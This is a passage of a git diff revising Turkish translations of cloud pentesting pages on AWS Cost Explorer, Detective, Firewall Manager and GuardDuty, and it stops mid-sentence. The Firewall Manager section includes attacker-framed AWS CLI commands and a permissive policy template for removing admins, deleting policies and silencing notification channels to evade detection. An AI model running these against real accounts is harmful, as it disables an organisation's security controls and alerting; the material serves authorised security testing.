**Account factory** kullanarak **CloudFormation şablonlarını** **hesaplarda çalıştırabilir ve bu hesaplarda hizmetler** (privesc, post-exploitation...) yürütebilir. ### Post Exploitation & Persistence diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 0707852e5..088f06880 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -5,11 +5,11 @@ ## Cost Explorer ve Anomali Tespiti Bu, **AWS hizmetlerinde nasıl para harcadığınızı kontrol etmenizi** sağlar ve **anomali tespit etmenize** yardımcı olur.\ -Ayrıca, AWS'nin bazı **maliyetlerde anomali bulunduğunda sizi uyarması için bir anomali tespiti yapılandırabilirsiniz**. +Ayrıca, AWS'nin bazı **maliyet anomalleri bulunduğunda sizi uyarması için bir anomali tespiti yapılandırabilirsiniz**. ### Bütçeler Bütçeler, **maliyetleri ve kullanımı yönetmeye** yardımcı olur. **Bir eşik aşıldığında uyarı alabilirsiniz**.\ -Ayrıca, bir hizmetin kullanımı gibi maliyetle ilgili olmayan izleme için de kullanılabilir (belirli bir S3 bucket'ında ne kadar GB kullanılıyor?). +Ayrıca, bir hizmetin kullanımı gibi maliyetle ilgili olmayan izleme için de kullanılabilir (belirli bir S3 kovasında ne kadar GB kullanılıyor?). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 43a86469a..73fb0637c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective**, güvenlik soruşturma sürecini kolaylaştırarak **güvenlik sorunlarının veya olağandışı aktivitelerin kök nedenini analiz etme, araştırma ve belirleme** işlemlerini daha verimli hale getirir. AWS kaynaklarından günlük verilerinin toplanmasını otomatikleştirir ve **makine öğrenimi, istatistiksel analiz ve grafik teorisi** kullanarak birbirine bağlı bir veri seti oluşturur. Bu yapı, güvenlik soruşturmalarının hızını ve etkinliğini büyük ölçüde artırır. +**Amazon Detective**, güvenlik soruşturma sürecini kolaylaştırarak **güvenlik sorunlarının veya olağandışı aktivitelerin kök nedenini analiz etme, araştırma ve belirleme** işlemlerini daha verimli hale getirir. AWS kaynaklarından günlük verilerini toplama işlemini otomatikleştirir ve **makine öğrenimi, istatistiksel analiz ve grafik teorisi** kullanarak birbirine bağlı bir veri seti oluşturur. Bu yapı, güvenlik soruşturmalarının hızını ve etkinliğini büyük ölçüde artırır. -Hizmet, güvenlik olaylarının derinlemesine incelenmesini kolaylaştırarak güvenlik ekiplerinin sorunların temel nedenlerini hızlı bir şekilde anlamasını ve ele almasını sağlar. Amazon Detective, VPC Akış Günlükleri, AWS CloudTrail ve Amazon GuardDuty gibi kaynaklardan büyük miktarda veriyi analiz eder. Zaman içinde kaynakların, kullanıcıların ve etkileşimlerinin **kapsamlı, etkileşimli bir görünümünü otomatik olarak oluşturur**. Bu entegre bakış açısı, güvenlik bulgularının arkasındaki nedenleri ayırt etmek, ilgili tarihsel aktiviteleri incelemek ve kök nedeni hızlı bir şekilde belirlemek için gerekli tüm detayları ve bağlamı tek bir yerde sağlar. +Hizmet, güvenlik olaylarının derinlemesine incelenmesini kolaylaştırarak güvenlik ekiplerinin sorunların temel nedenlerini hızlı bir şekilde anlamasını ve ele almasını sağlar. Amazon Detective, VPC Flow Logs, AWS CloudTrail ve Amazon GuardDuty gibi kaynaklardan büyük miktarda veriyi analiz eder. Zaman içinde kaynakların, kullanıcıların ve etkileşimlerinin **kapsamlı, etkileşimli bir görünümünü otomatik olarak oluşturur**. Bu entegre bakış açısı, güvenlik bulgularının arkasındaki nedenleri ayırt etmek, ilgili tarihsel aktiviteleri incelemek ve kök nedeni hızlı bir şekilde belirlemek için gerekli tüm detayları ve bağlamı tek bir yerde sağlar. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 3d4ce9a1f..9718060b0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,15 +4,15 @@ ## Firewall Manager -**AWS Firewall Manager**, **AWS WAF, AWS Shield Advanced, Amazon VPC güvenlik grupları ve Ağ Erişim Kontrol Listeleri (ACL'ler), AWS Network Firewall, AWS Route 53 Resolver DNS Firewall ve üçüncü taraf güvenlik duvarları** gibi hizmetlerin yönetimini ve bakımını kolaylaştırır. Güvenlik duvarı kurallarınızı, Shield Advanced korumalarını, VPC güvenlik gruplarını ve Network Firewall ayarlarını yalnızca bir kez yapılandırmanıza olanak tanır; hizmet, bu kuralları ve korumaları **hesaplarınız ve kaynaklarınız arasında otomatik olarak uygular**, yeni eklenenler dahil. +**AWS Firewall Manager**, **AWS WAF, AWS Shield Advanced, Amazon VPC güvenlik grupları ve Ağ Erişim Kontrol Listeleri (ACL'ler), AWS Network Firewall, AWS Route 53 Resolver DNS Firewall ve üçüncü taraf güvenlik duvarları** gibi hizmetlerin yönetimini ve bakımını kolaylaştırır. Güvenlik duvarı kurallarınızı, Shield Advanced korumalarını, VPC güvenlik gruplarını ve Network Firewall ayarlarını yalnızca bir kez yapılandırmanıza olanak tanır; hizmet, bu kuralları ve korumaları **hesaplarınız ve kaynaklarınız arasında otomatik olarak uygulayarak**, yeni eklenenleri de kapsar. -Hizmet, belirli kaynakları bir araya **gruplandırma ve koruma** yeteneği sunar; örneğin, ortak bir etikete sahip olanlar veya tüm CloudFront dağıtımlarınız gibi. Firewall Manager'ın önemli bir avantajı, **yeni eklenen kaynaklara otomatik olarak koruma genişletme** yeteneğidir. +Hizmet, belirli kaynakları bir araya toplama ve koruma yeteneği sunar; örneğin, ortak bir etikete sahip olanlar veya tüm CloudFront dağıtımlarınız gibi. Firewall Manager'ın önemli bir avantajı, **yeni eklenen kaynaklara otomatik olarak koruma genişletme** yeteneğidir. -Bir **kural grubu** (WAF kurallarının bir koleksiyonu), belirli AWS kaynaklarına, örneğin CloudFront dağıtımlarına veya uygulama yük dengeleyicilerine bağlanan bir AWS Firewall Manager Politikası'na dahil edilebilir. +Bir **kural grubu** (WAF kurallarının bir koleksiyonu), belirli AWS kaynaklarına, örneğin CloudFront dağıtımlarına veya uygulama yük dengeleyicilerine bağlanan bir AWS Firewall Manager Politikasına dahil edilebilir. AWS Firewall Manager, güvenlik grubu politikalarının yapılandırmasını ve yönetimini basitleştirmek için **yönetilen uygulama ve protokol listeleri** sunar. Bu listeler, politikalarınız tarafından izin verilen veya reddedilen protokolleri ve uygulamaları tanımlamanıza olanak tanır. İki tür yönetilen liste vardır: -- **Firewall Manager yönetilen listeleri**: Bu listeler **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** ve **FMS-Default-Protocols-Allowed** içerir. Firewall Manager tarafından yönetilir ve genel kamuya izin verilmesi veya reddedilmesi gereken yaygın olarak kullanılan uygulamaları ve protokolleri içerir. Bunları düzenlemek veya silmek mümkün değildir, ancak sürümünü seçebilirsiniz. +- **Firewall Manager yönetilen listeleri**: Bu listeler **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** ve **FMS-Default-Protocols-Allowed** içerir. Firewall Manager tarafından yönetilir ve genel kamuya izin verilmesi veya reddedilmesi gereken yaygın olarak kullanılan uygulama ve protokolleri içerir. Bunları düzenlemek veya silmek mümkün değildir, ancak sürümünü seçebilirsiniz. - **Özel yönetilen listeler**: Bu listeleri kendiniz yönetirsiniz. Kuruluşunuzun ihtiyaçlarına göre özel uygulama ve protokol listeleri oluşturabilirsiniz. Firewall Manager yönetilen listelerinin aksine, bu listelerin sürümleri yoktur, ancak özel listeler üzerinde tam kontrolünüz vardır; böylece gerektiğinde oluşturabilir, düzenleyebilir ve silebilirsiniz. **Firewall Manager politikalarının yalnızca "Block" veya "Count" eylemlerine izin verdiğini** belirtmek önemlidir; "Allow" seçeneği yoktur. @@ -24,9 +24,9 @@ Firewall Manager'ı yapılandırmaya başlamadan önce aşağıdaki ön koşul a 1. **AWS Organizations'a katılın ve yapılandırın:** AWS hesabınızın, AWS Firewall Manager politikalarının uygulanacağı AWS Organizations organizasyonunun bir parçası olduğundan emin olun. Bu, organizasyon içindeki birden fazla AWS hesabı arasında kaynakların ve politikaların merkezi yönetimini sağlar. 2. **AWS Firewall Manager Varsayılan Yönetici Hesabı oluşturun:** Firewall Manager güvenlik politikalarını yönetmek için özel bir varsayılan yönetici hesabı oluşturun. Bu hesap, organizasyon genelinde güvenlik politikalarını yapılandırmak ve uygulamakla sorumlu olacaktır. Sadece organizasyonun yönetim hesabı, Firewall Manager varsayılan yönetici hesapları oluşturabilir. 3. **AWS Config'i etkinleştirin:** Firewall Manager'a güvenlik politikalarını etkili bir şekilde uygulamak için gerekli yapılandırma verilerini ve içgörüleri sağlamak üzere AWS Config'i etkinleştirin. AWS Config, kaynak yapılandırmalarını ve değişikliklerini analiz etmeye, denetlemeye, izlemeye ve denetlemeye yardımcı olur, böylece daha iyi güvenlik yönetimi sağlar. -4. **Üçüncü Taraf Politikaları için AWS Marketplace'te abone olun ve Üçüncü Taraf Ayarlarını yapılandırın:** Üçüncü taraf güvenlik duvarı politikalarını kullanmayı planlıyorsanız, bunlara AWS Marketplace'te abone olun ve gerekli ayarları yapılandırın. Bu adım, Firewall Manager'ın güvenilir üçüncü taraf satıcıların politikalarını entegre etmesini ve uygulamasını sağlar. +4. **Üçüncü Taraf Politikaları için AWS Marketplace'te abone olun ve Üçüncü Taraf Ayarlarını yapılandırın:** Üçüncü taraf güvenlik duvarı politikalarını kullanmayı planlıyorsanız, bunlara AWS Marketplace'te abone olun ve gerekli ayarları yapılandırın. Bu adım, Firewall Manager'ın güvenilir üçüncü taraf satıcılardan politikaları entegre etmesini ve uygulamasını sağlar. 5. **Ağ Güvenlik Duvarı ve DNS Güvenlik Duvarı Politikaları için kaynak paylaşımını etkinleştirin:** Ağ Güvenlik Duvarı ve DNS Güvenlik Duvarı politikaları için kaynak paylaşımını etkinleştirin. Bu, Firewall Manager'ın organizasyonunuzun VPC'lerine ve DNS çözümlemesine güvenlik duvarı korumalarını uygulamasını sağlar ve ağ güvenliğini artırır. -6. **Varsayılan olarak devre dışı olan bölgelerde AWS Firewall Manager'ı kullanmak için:** Varsayılan olarak devre dışı olan AWS bölgelerinde Firewall Manager'ı kullanmayı planlıyorsanız, bu bölgelerde işlevselliğini etkinleştirmek için gerekli adımları attığınızdan emin olun. Bu, organizasyonunuzun faaliyet gösterdiği tüm bölgelerde tutarlı güvenlik uygulamasını sağlar. +6. **Varsayılan olarak devre dışı bırakılan bölgelerde AWS Firewall Manager'ı kullanmak için:** Varsayılan olarak devre dışı bırakılan AWS bölgelerinde Firewall Manager'ı kullanmayı planlıyorsanız, bu bölgelerde işlevselliğini etkinleştirmek için gerekli adımları attığınızdan emin olun. Bu, organizasyonunuzun faaliyet gösterdiği tüm bölgelerde tutarlı güvenlik uygulamasını sağlar. Daha fazla bilgi için kontrol edin: [AWS Firewall Manager AWS WAF politikaları ile başlama](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). @@ -34,11 +34,11 @@ Daha fazla bilgi için kontrol edin: [AWS Firewall Manager AWS WAF politikaları AWS Firewall Manager, organizasyonunuzun altyapısının farklı yönlerinde güvenlik kontrollerini uygulamak için birkaç tür politika yönetir: -1. **AWS WAF Politikası:** Bu politika türü, hem AWS WAF hem de AWS WAF Classic'i destekler. Politikanın hangi kaynakları koruduğunu tanımlayabilirsiniz. AWS WAF politikaları için, web ACL'sinde ilk ve son çalışacak kural gruplarını belirtebilirsiniz. Ayrıca, hesap sahipleri bu setlerin arasında çalışacak kuralları ve kural gruplarını ekleyebilir. +1. **AWS WAF Politikası:** Bu politika türü, hem AWS WAF hem de AWS WAF Classic'i destekler. Politika tarafından hangi kaynakların korunduğunu tanımlayabilirsiniz. AWS WAF politikaları için, web ACL'sinde ilk ve son çalışacak kural gruplarını belirtebilirsiniz. Ayrıca, hesap sahipleri bu setlerin arasında çalışacak kuralları ve kural gruplarını ekleyebilir. 2. **Shield Advanced Politikası:** Bu politika, belirli kaynak türleri için organizasyonunuz genelinde Shield Advanced korumalarını uygular. DDoS saldırılarına ve diğer tehditlere karşı koruma sağlar. 3. **Amazon VPC Güvenlik Grubu Politikası:** Bu politika ile organizasyonunuzda kullanılan güvenlik gruplarını yönetebilir, AWS ortamınızda ağ erişimini kontrol etmek için temel bir kural seti uygulayabilirsiniz. 4. **Amazon VPC Ağ Erişim Kontrol Listesi (ACL) Politikası:** Bu politika türü, organizasyonunuzda kullanılan ağ ACL'leri üzerinde kontrol sağlar ve AWS ortamınızda temel bir ağ ACL seti uygulamanıza olanak tanır. -5. **Ağ Güvenlik Duvarı Politikası:** Bu politika, organizasyonunuzun VPC'lerine AWS Network Firewall koruması uygular ve önceden tanımlanmış kurallara dayalı olarak trafiği filtreleyerek ağ güvenliğini artırır. +5. **Ağ Güvenlik Duvarı Politikası:** Bu politika, organizasyonunuzun VPC'lerine AWS Network Firewall koruması uygular ve önceden tanımlanmış kurallara göre trafiği filtreleyerek ağ güvenliğini artırır. 6. **Amazon Route 53 Resolver DNS Güvenlik Duvarı Politikası:** Bu politika, organizasyonunuzun VPC'lerine DNS Güvenlik Duvarı korumalarını uygular, kötü niyetli alan çözümleme girişimlerini engellemeye ve DNS trafiği için güvenlik politikalarını uygulamaya yardımcı olur. 7. **Üçüncü Taraf Güvenlik Duvarı Politikası:** Bu politika türü, AWS Marketplace konsolu aracılığıyla abonelikle sunulan üçüncü taraf güvenlik duvarlarından korumaları uygular. Güvenilir satıcılardan ek güvenlik önlemlerini AWS ortamınıza entegre etmenizi sağlar. 1. **Palo Alto Networks Cloud NGFW Politikası:** Bu politika, organizasyonunuzun VPC'lerine Palo Alto Networks Cloud Next Generation Firewall (NGFW) korumalarını ve kural yığınlarını uygular, gelişmiş tehdit önleme ve uygulama düzeyinde güvenlik kontrolleri sağlar. @@ -48,32 +48,32 @@ AWS Firewall Manager, organizasyonunuzun altyapısının farklı yönlerinde gü AWS Firewall Manager, organizasyonunuz içindeki güvenlik duvarı kaynaklarını yönetme esnekliği sunar ve iki tür yönetici hesabı ile birlikte gelir. -**Yönetim kapsamı, bir Firewall Manager yöneticisinin yönetebileceği kaynakları tanımlar**. AWS Organizations yönetim hesabı, bir organizasyonu Firewall Manager'a dahil ettiğinde, farklı yönetim kapsamlarına sahip ek yöneticiler oluşturabilir. Bu kapsamlar şunları içerebilir: +**Yönetim kapsamı, bir Firewall Manager yöneticisinin yönetebileceği kaynakları tanımlar**. AWS Organizations yönetim hesabı, bir organizasyonu Firewall Manager'a kaydettikten sonra, farklı yönetim kapsamlarına sahip ek yöneticiler oluşturabilir. Bu kapsamlar şunları içerebilir: -- Yöneticinin politikaları uygulayabileceği hesaplar veya organizasyonel birimler (OU'lar). -- Yöneticinin eylemleri gerçekleştirebileceği bölgeler. +- Yöneticinin politikalara uygulayabileceği hesaplar veya organizasyonel birimler (OU'lar). +- Yöneticinin eylem gerçekleştirebileceği bölgeler. - Yöneticinin yönetebileceği Firewall Manager politika türleri. -Yönetim kapsamı **tam veya kısıtlı** olabilir. Tam kapsam, yöneticinin **tüm belirtilen kaynak türlerine, bölgelere ve politika türlerine** erişim sağlar. Buna karşın, **kısıtlı kapsam, yalnızca belirli bir kaynak, bölge veya politika türü alt kümesine yönetim izni verir**. Yöneticilere, rollerini etkili bir şekilde yerine getirmek için ihtiyaç duydukları izinlerin verilmesi önerilir. Bu yönetim kapsamı koşullarının herhangi bir kombinasyonunu bir yöneticinin üzerine uygulayarak, en az ayrıcalık ilkesine uyulmasını sağlayabilirsiniz. +Yönetim kapsamı ya **tam ya da kısıtlı** olabilir. Tam kapsam, yöneticinin **tüm belirtilen kaynak türlerine, bölgelere ve politika türlerine** erişim sağlamasını verir. Buna karşın, **kısıtlı kapsam, yalnızca belirli bir kaynak, bölge veya politika türü alt kümesine yönetim izni verir**. Yöneticilere, rollerini etkili bir şekilde yerine getirmek için ihtiyaç duydukları izinlerin verilmesi önerilir. Bu yönetim kapsamı koşullarının herhangi bir kombinasyonunu bir yöneticinin üzerine uygulayarak, en az ayrıcalık ilkesine uyulmasını sağlayabilirsiniz. İki farklı yönetici hesabı türü vardır; her biri belirli roller ve sorumluluklar üstlenir: - **Varsayılan Yönetici:** -- Varsayılan yönetici hesabı, AWS Organizations organizasyonunun yönetim hesabı tarafından Firewall Manager'a dahil edilme sürecinde oluşturulur. +- Varsayılan yönetici hesabı, AWS Organizations organizasyonunun yönetim hesabı tarafından Firewall Manager'a kaydolma sürecinde oluşturulur. - Bu hesap, üçüncü taraf güvenlik duvarlarını yönetme yeteneğine sahiptir ve tam yönetim kapsamına sahiptir. -- Firewall Manager için güvenlik politikalarını yapılandırmak ve uygulamakla sorumlu olan birincil yönetici hesabı olarak hizmet eder. +- Firewall Manager için ana yönetici hesabı olarak hizmet eder ve organizasyon genelinde güvenlik politikalarını yapılandırmak ve uygulamakla sorumludur. - Varsayılan yönetici, tüm kaynak türlerine ve yönetim işlevlerine tam erişime sahipken, organizasyon içinde birden fazla yönetici kullanılıyorsa diğer yöneticilerle aynı eşit seviyede çalışır. - **Firewall Manager Yöneticileri:** -- Bu yöneticiler, AWS Organizations yönetim hesabı tarafından belirlenen kapsam dahilinde kaynakları yönetebilirler. +- Bu yöneticiler, AWS Organizations yönetim hesabı tarafından belirlenen yönetim kapsamı dahilinde kaynakları yönetebilir. - Firewall Manager yöneticileri, organizasyon içinde belirli roller üstlenmek üzere oluşturulmuştur; bu, sorumlulukların devredilmesine olanak tanırken güvenlik ve uyumluluk standartlarını korur. -- Oluşturulduğunda, Firewall Manager, hesabın zaten bir delege yönetici olup olmadığını belirlemek için AWS Organizations ile kontrol eder. Delege yönetici değilse, Firewall Manager, hesabı Firewall Manager için delege yönetici olarak atamak üzere Organizations'ı arar. +- Oluşturulduğunda, Firewall Manager, hesabın zaten bir delege yönetici olup olmadığını belirlemek için AWS Organizations ile kontrol eder. Değilse, Firewall Manager, hesabı Firewall Manager için delege yönetici olarak atamak üzere Organizations'ı arar. -Bu yönetici hesaplarını yönetmek, Firewall Manager içinde oluşturarak ve organizasyonun güvenlik gereksinimlerine ve en az ayrıcalık ilkesine göre yönetim kapsamlarını tanımlamakla ilgilidir. Uygun yönetim rollerini atayarak, organizasyonlar etkili güvenlik yönetimini sağlarken hassas kaynaklara erişim üzerinde ayrıntılı kontrolü sürdürebilirler. +Bu yönetici hesaplarını yönetmek, Firewall Manager içinde oluşturarak ve organizasyonun güvenlik gereksinimlerine ve en az ayrıcalık ilkesine göre yönetim kapsamlarını tanımlayarak gerçekleştirilir. Uygun yönetim rollerini atayarak, organizasyonlar etkili güvenlik yönetimini sağlarken hassas kaynaklara erişim üzerinde ayrıntılı kontrolü sürdürebilir. **Bir organizasyon içinde yalnızca bir hesabın Firewall Manager varsayılan yöneticisi olarak hizmet edebileceğini** vurgulamak önemlidir; bu, "**ilk giren, son çıkan**" ilkesine uyar. Yeni bir varsayılan yöneticiyi atamak için bir dizi adım izlenmelidir: - Öncelikle, her Firewall Administrator yönetici hesabı kendi hesabını iptal etmelidir. -- Ardından, mevcut varsayılan yönetici kendi hesabını iptal edebilir ve organizasyonu Firewall Manager'dan etkili bir şekilde çıkarır. Bu süreç, iptal edilen hesabın oluşturduğu tüm Firewall Manager politikalarının silinmesine neden olur. +- Ardından, mevcut varsayılan yönetici kendi hesabını iptal edebilir ve organizasyonu Firewall Manager'dan etkili bir şekilde çıkarmış olur. Bu süreç, iptal edilen hesabın oluşturduğu tüm Firewall Manager politikalarının silinmesine neden olur. - Son olarak, AWS Organizations yönetim hesabı Firewall Manager varsayılan yöneticisini atamalıdır. ## Enumeration @@ -165,17 +165,17 @@ aws fms get-violation-details --policy-id --member-account --res ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -**`fms:AssociateAdminAccount`** iznine sahip bir saldırgan, Firewall Manager varsayılan yönetici hesabını ayarlayabilir. **`fms:PutAdminAccount`** iznine sahip bir saldırgan, bir Firewall Manager yönetici hesabı oluşturabilir veya güncelleyebilir ve **`fms:DisassociateAdminAccount`** iznine sahip bir potansiyel saldırgan, mevcut Firewall Manager yönetici hesabı ilişkilendirmesini kaldırabilir. +**`fms:AssociateAdminAccount`** iznine sahip bir saldırgan, Firewall Manager varsayılan yönetici hesabını ayarlayabilir. **`fms:PutAdminAccount`** izni ile bir saldırgan, bir Firewall Manager yönetici hesabı oluşturabilir veya güncelleyebilir ve **`fms:DisassociateAdminAccount`** izni ile potansiyel bir saldırgan mevcut Firewall Manager yönetici hesabı ilişkilendirmesini kaldırabilir. -- **Firewall Manager varsayılan yöneticisinin ilişkisinin kaldırılması, ilk giren son çıkar politikasını takip eder**. Tüm Firewall Manager yöneticileri, Firewall Manager varsayılan yöneticisinin hesabı ilişkisinin kaldırılabilmesi için ilişkiyi kaldırmalıdır. +- **Firewall Manager varsayılan yöneticisinin ilişkisinin kesilmesi, ilk giren son çıkar politikasını takip eder**. Tüm Firewall Manager yöneticileri, Firewall Manager varsayılan yöneticisinin hesabı ilişkisinin kesilmesinden önce ilişkiyi kesmelidir. - **PutAdminAccount** ile bir Firewall Manager yöneticisi oluşturmak için, hesabın daha önce **AssociateAdminAccount** kullanılarak Firewall Manager'a kaydedilen organizasyona ait olması gerekir. -- Bir Firewall Manager yönetici hesabı yalnızca organizasyonun yönetim hesabı tarafından oluşturulabilir. +- Firewall Manager yönetici hesabının oluşturulması yalnızca organizasyonun yönetim hesabı tarafından yapılabilir. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` -**Potansiyel Etki:** Merkezi yönetimin kaybı, politika ihlalleri, uyum ihlalleri ve ortam içindeki güvenlik kontrollerinin kesintiye uğraması. +**Olası Etki:** Merkezi yönetimin kaybı, politika ihlalleri, uyum ihlalleri ve ortam içindeki güvenlik kontrollerinin kesintiye uğraması. ### `fms:PutPolicy`, `fms:DeletePolicy` @@ -184,7 +184,7 @@ aws fms put-admin-account --admin-account aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` -Bir tespit bypass etmek için izin verici güvenlik grubu aracılığıyla izin verici bir politikanın bir örneği aşağıdaki gibi olabilir: +İzin verici bir güvenlik grubu aracılığıyla izin verici bir politika örneği, tespiti atlatmak için aşağıdaki gibi olabilir: ```json { "Policy": { @@ -208,7 +208,7 @@ Bir tespit bypass etmek için izin verici güvenlik grubu aracılığıyla izin "TagList": [] } ``` -**Potansiyel Etki:** Güvenlik kontrollerinin kaldırılması, politika ihlalleri, uyum ihlalleri, operasyonel kesintiler ve ortamda potansiyel veri ihlalleri. +**Olası Etki:** Güvenlik kontrollerinin kaldırılması, politika ihlalleri, uyum ihlalleri, operasyonel kesintiler ve ortamda potansiyel veri ihlalleri. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` @@ -244,9 +244,9 @@ aws fms delete-protocols-list --list-id ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -**`fms:PutNotificationChannel`** ve **`fms:DeleteNotificationChannel`** izinlerine sahip bir saldırgan, Firewall Manager'ın SNS günlüklerini kaydetmek için kullandığı IAM rolünü ve Amazon Basit Bildirim Servisi (SNS) konusunu silip belirleyebilir. +**`fms:PutNotificationChannel`** ve **`fms:DeleteNotificationChannel`** izinlerine sahip bir saldırgan, Firewall Manager'ın SNS günlüklerini kaydetmek için kullandığı IAM rolünü ve Amazon Simple Notification Service (SNS) konusunu silip belirleyebilir. -**`fms:PutNotificationChannel`**'ı konsol dışında kullanmak için, belirtilen **SnsRoleName**'in SNS günlüklerini yayınlamasına izin veren SNS konusunun erişim politikasını ayarlamanız gerekir. Sağlanan **SnsRoleName** **`AWSServiceRoleForFMS`** dışındaki bir rol ise, Firewall Manager hizmeti ana bilgisinin **fms.amazonaws.com** bu rolü üstlenmesine izin verecek şekilde bir güven ilişkisi yapılandırılması gerekir. +**`fms:PutNotificationChannel`**'ı konsol dışında kullanmak için, belirtilen **SnsRoleName**'in SNS günlüklerini yayınlamasına izin veren SNS konusunun erişim politikasını ayarlamanız gerekir. Sağlanan **SnsRoleName** **`AWSServiceRoleForFMS`** dışındaki bir rol ise, Firewall Manager hizmet anahtarının **fms.amazonaws.com** bu rolü üstlenmesine izin verecek şekilde bir güven ilişkisi yapılandırılması gerekir. SNS erişim politikasını yapılandırma hakkında bilgi için: @@ -257,7 +257,7 @@ SNS erişim politikasını yapılandırma hakkında bilgi için: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Potansiyel Etki:** Bu, güvenlik uyarılarının atlanmasına, olay yanıtının gecikmesine, potansiyel veri ihlallerine ve ortamda operasyonel kesintilere yol açabilir. +**Potansiyel Etki:** Bu, güvenlik uyarılarının atlanmasına, olay müdahalesinin gecikmesine, potansiyel veri ihlallerine ve ortamda operasyonel kesintilere yol açabilir. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` @@ -269,11 +269,11 @@ aws fms delete-notification-channel aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Olası Etki:** Ayrılma, bir politika kaçışına, uyum ihlallerine ve ortam içindeki güvenlik kontrollerinin kesintiye uğramasına yol açacaktır. Diğer yandan, ilişkilendirme maliyet ve bütçe tahsisinde bir kesintiye yol açacaktır. +**Olası Etki:** Ayrılma, bir politika ihlali, uyum ihlalleri ve ortam içindeki güvenlik kontrollerinin bozulmasına yol açacaktır. Diğer yandan, ilişki maliyet ve bütçe tahsisatında bir kesintiye neden olacaktır. ### `fms:TagResource`, `fms:UntagResource` -Bir saldırgan, Firewall Manager kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını kesintiye uğratır. +Bir saldırgan, Firewall Manager kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun etiketlere dayalı maliyet tahsisi, kaynak takibi ve erişim kontrol politikalarını bozabilir. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 78b875d84..1544616ad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,11 +4,11 @@ ## GuardDuty -[**Belgeler**](https://aws.amazon.com/guardduty/features/) göre: GuardDuty, AWS ve sektördeki önde gelen üçüncü taraf kaynakları kullanarak **makine öğrenimi, anomali tespiti, ağ izleme ve kötü amaçlı dosya keşfi** kombinasyonu yapar ve AWS üzerindeki iş yüklerini ve verileri korumaya yardımcı olur. GuardDuty, AWS CloudTrail olay günlükleri, Amazon Sanal Özel Bulut (VPC) Akış Günlükleri, Amazon Elastic Kubernetes Service (EKS) denetim ve sistem düzeyi günlükleri ve DNS sorgu günlükleri gibi birden fazla AWS veri kaynağı üzerinden on milyarlarca olayı analiz etme yeteneğine sahiptir. +According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty, **makine öğrenimi, anomali tespiti, ağ izleme ve kötü niyetli dosya keşfi** kullanarak, AWS ve sektördeki lider üçüncü taraf kaynakları birleştirerek AWS üzerindeki iş yüklerini ve verileri korumaya yardımcı olur. GuardDuty, AWS CloudTrail olay günlükleri, Amazon Sanal Özel Bulut (VPC) Akış Günlükleri, Amazon Elastik Kubernetes Servisi (EKS) denetim ve sistem düzeyi günlükleri ve DNS sorgu günlükleri gibi birden fazla AWS veri kaynağında on milyarlarca olayı analiz etme yeteneğine sahiptir. -Amazon GuardDuty, **hesaplarınızda olağandışı etkinlikleri tanımlar**, etkinliğin **güvenlik ile ilgili** analizini yapar ve etkinliğin çağrıldığı **bağlamı** sağlar. Bu, bir yanıtlayıcının daha fazla araştırmaya zaman harcayıp harcamayacağına karar vermesine olanak tanır. +Amazon GuardDuty, **hesaplarınızda olağandışı etkinlikleri tanımlar**, etkinliğin **güvenlik ile ilgili** önemini analiz eder ve çağrıldığı **bağlamı** sağlar. Bu, bir yanıtlayıcının daha fazla araştırmaya zaman harcayıp harcamayacağına karar vermesine olanak tanır. -Uyarılar **GuardDuty konsolunda (90 gün)** ve CloudWatch Olayları'nda görünür. +Uyarılar **GuardDuty konsolunda (90 gün)** ve 